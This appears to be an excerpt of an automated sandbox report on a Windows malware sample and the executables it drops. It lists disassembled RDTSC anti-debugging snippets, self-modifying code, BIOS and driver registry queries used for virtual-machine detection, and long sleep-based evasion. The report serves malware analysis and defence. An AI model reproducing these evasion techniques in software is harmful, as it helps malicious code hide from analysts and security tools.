Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50403C4 second address: 504046C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F35A9347BAFh 0x00000008 sbb esi, 66E02B1Eh 0x0000000e jmp 00007F35A9347BB9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 mov cl, FFh 0x00000019 pushfd 0x0000001a jmp 00007F35A9347BB3h 0x0000001f sbb cx, 152Eh 0x00000024 jmp 00007F35A9347BB9h 0x00000029 popfd 0x0000002a popad 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F35A9347BB3h 0x00000036 or eax, 4B5CEB3Eh 0x0000003c jmp 00007F35A9347BB9h 0x00000041 popfd 0x00000042 mov di, si 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504046C second address: 504049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F35A91AEEA6h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F35A91AEE9Dh 0x00000015 pop ecx 0x00000016 mov ax, di 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504049F second address: 50404C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F35A9347BAEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404C1 second address: 50404C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404C5 second address: 50404C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404C9 second address: 50404CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404CF second address: 50404D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404D5 second address: 50404D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404D9 second address: 504056C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007F35A9347BAAh 0x0000000f push 37515423h 0x00000014 jmp 00007F35A9347BB1h 0x00000019 xor dword ptr [esp], 41A8943Bh 0x00000020 pushad 0x00000021 push ecx 0x00000022 call 00007F35A9347BB3h 0x00000027 pop eax 0x00000028 pop edx 0x00000029 movzx eax, di 0x0000002c popad 0x0000002d push 61E41518h 0x00000032 pushad 0x00000033 movzx ecx, dx 0x00000036 mov di, 892Ch 0x0000003a popad 0x0000003b add dword ptr [esp], 150C98E8h 0x00000042 pushad 0x00000043 movsx edi, si 0x00000046 call 00007F35A9347BAAh 0x0000004b mov ax, 0DE1h 0x0000004f pop eax 0x00000050 popad 0x00000051 mov eax, dword ptr fs:[00000000h] 0x00000057 jmp 00007F35A9347BADh 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 mov di, ED8Eh 0x00000064 mov ah, dl 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504056C second address: 50405D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F35A91AEEA7h 0x00000011 or si, 4B9Eh 0x00000016 jmp 00007F35A91AEEA9h 0x0000001b popfd 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F35A91AEEA9h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405D9 second address: 504062F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A9347BB3h 0x00000009 and ecx, 3C43830Eh 0x0000000f jmp 00007F35A9347BB9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 sub esp, 1Ch 0x0000001b jmp 00007F35A9347BAEh 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 mov di, cx 0x00000025 push eax 0x00000026 push edx 0x00000027 mov cx, CDFFh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504062F second address: 5040654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, si 0x00000011 mov si, 37DFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040654 second address: 504067D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F35A9347BADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504067D second address: 504074C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F35A91AEE9Dh 0x0000000b and ax, AB66h 0x00000010 jmp 00007F35A91AEEA1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a jmp 00007F35A91AEE9Eh 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F35A91AEEA1h 0x00000027 xor cx, FB76h 0x0000002c jmp 00007F35A91AEEA1h 0x00000031 popfd 0x00000032 movzx esi, dx 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007F35A91AEEA9h 0x0000003d mov di, si 0x00000040 popad 0x00000041 xchg eax, edi 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F35A91AEEA8h 0x00000049 xor esi, 5F402A28h 0x0000004f jmp 00007F35A91AEE9Bh 0x00000054 popfd 0x00000055 mov cx, E31Fh 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F35A91AEEA0h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504074C second address: 504075E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A9347BAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504075E second address: 5040762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040762 second address: 5040788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F35A9347BB9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040788 second address: 504079D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504079D second address: 504085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A9347BB7h 0x00000009 xor ax, 438Eh 0x0000000e jmp 00007F35A9347BB9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F35A9347BB0h 0x0000001a jmp 00007F35A9347BB5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 mov eax, dword ptr [76FBB370h] 0x00000028 jmp 00007F35A9347BAEh 0x0000002d xor dword ptr [ebp-08h], eax 0x00000030 jmp 00007F35A9347BB0h 0x00000035 xor eax, ebp 0x00000037 jmp 00007F35A9347BB1h 0x0000003c nop 0x0000003d jmp 00007F35A9347BAEh 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F35A9347BAEh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50409BE second address: 50409CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A91AEE9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50409CC second address: 5040A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d jmp 00007F35A9347BACh 0x00000012 mov dword ptr [ebp-20h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F35A9347BADh 0x0000001e jmp 00007F35A9347BABh 0x00000023 popfd 0x00000024 mov di, cx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A09 second address: 5040A35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [esi] 0x0000000b pushad 0x0000000c mov cx, 1753h 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 mov dword ptr [ebp-24h], ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A35 second address: 5040A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A3B second address: 5040A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9DAAE0 second address: 9DAAED instructions: 0x00000000 rdtsc 0x00000002 jng 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9DAAED second address: 9DAB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA0h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push esi 0x0000000c push esi 0x0000000d jmp 00007F35A91AEEA9h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop esi 0x00000015 je 00007F35A91AEE9Eh 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9ED74A second address: 9ED765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F35A9347BADh 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9EDBA4 second address: 9EDBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F35A91AEE96h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9EDBB3 second address: 9EDBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9EDBB9 second address: 9EDBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9EDBBD second address: 9EDBC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F0263 second address: 9F0267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F02D4 second address: 9F02E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F35A9347BA6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F02E6 second address: 9F0325 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b nop 0x0000000c jl 00007F35A91AEEA6h 0x00000012 jmp 00007F35A91AEEA0h 0x00000017 push 00000000h 0x00000019 jno 00007F35A91AEE99h 0x0000001f call 00007F35A91AEE99h 0x00000024 jo 00007F35A91AEE9Eh 0x0000002a push ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F0325 second address: 9F037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F35A9347BADh 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F35A9347BAAh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push esi 0x0000001a jmp 00007F35A9347BB2h 0x0000001f pop esi 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F35A9347BB6h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F037B second address: 9F0421 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F35A91AEE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F35A91AEEA2h 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F35A91AEE98h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov di, 70A7h 0x00000033 pushad 0x00000034 and cx, 656Eh 0x00000039 mov eax, esi 0x0000003b popad 0x0000003c push 00000003h 0x0000003e or dword ptr [ebp+122D3B82h], eax 0x00000044 push 00000000h 0x00000046 jmp 00007F35A91AEEA3h 0x0000004b push 00000003h 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F35A91AEE98h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 0000001Bh 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 jg 00007F35A91AEE96h 0x0000006d push 8A8B66FFh 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F35A91AEE9Bh 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F0421 second address: 9F0458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4A8B66FFh 0x00000010 adc cx, CB55h 0x00000015 lea ebx, dword ptr [ebp+124551D2h] 0x0000001b and si, B550h 0x00000020 mov dword ptr [ebp+122D5A24h], ebx 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a push edx 0x0000002b pop edx 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F0615 second address: 9F061B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F06DA second address: 9F06E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F06E1 second address: 9F077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 55DB0DE5h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F35A91AEE98h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov esi, 765818C7h 0x0000002d push 00000003h 0x0000002f cld 0x00000030 push 00000000h 0x00000032 push 00000003h 0x00000034 mov esi, dword ptr [ebp+122D3455h] 0x0000003a push 8248B7DBh 0x0000003f jmp 00007F35A91AEEA6h 0x00000044 add dword ptr [esp], 3DB74825h 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007F35A91AEE98h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 00000014h 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 movzx edi, ax 0x00000068 lea ebx, dword ptr [ebp+124551E6h] 0x0000006e movzx esi, di 0x00000071 xchg eax, ebx 0x00000072 js 00007F35A91AEEA8h 0x00000078 push eax 0x00000079 push edx 0x0000007a jg 00007F35A91AEE96h 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 9F077C second address: 9F0780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: A11B01 second address: A11B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA5h 0x00000009 popad 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E7ECA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1023413 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 102DDEF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10B5BA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 86ECA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A13413 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A1DDEF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AA5BA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Special instruction interceptor: First address: 13AD91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Special instruction interceptor: First address: 15D0867 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: EB3BE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: 105C468 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: 105AF54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: EB162A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: 1062D70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Special instruction interceptor: First address: 10E147B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Special instruction interceptor: First address: DF295E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Special instruction interceptor: First address: DF2A09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Special instruction interceptor: First address: F8F6FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Special instruction interceptor: First address: 101BC64 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050A03AA rdtsc

0_2_050A03AA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1213	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1221	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1227	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1245	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1244	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 495	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 654	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 1472	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 1458	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 428	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window / User API: threadDelayed 407	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3080

Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7636	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep count: 1282 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep time: -2565282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep count: 250 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep time: -7500000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep count: 1213 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep time: -2427213s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep count: 1221 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -2443221s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep count: 1227 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep time: -2455227s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep count: 1245 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep time: -2491245s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 1244 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -2489244s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe TID: 7984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8108	Thread sleep count: 495 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8108	Thread sleep time: -990495s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8112	Thread sleep count: 654 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8112	Thread sleep time: -1308654s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 2536	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8092	Thread sleep count: 1472 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8092	Thread sleep time: -2945472s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8096	Thread sleep count: 1458 > 30	Jump to behavior
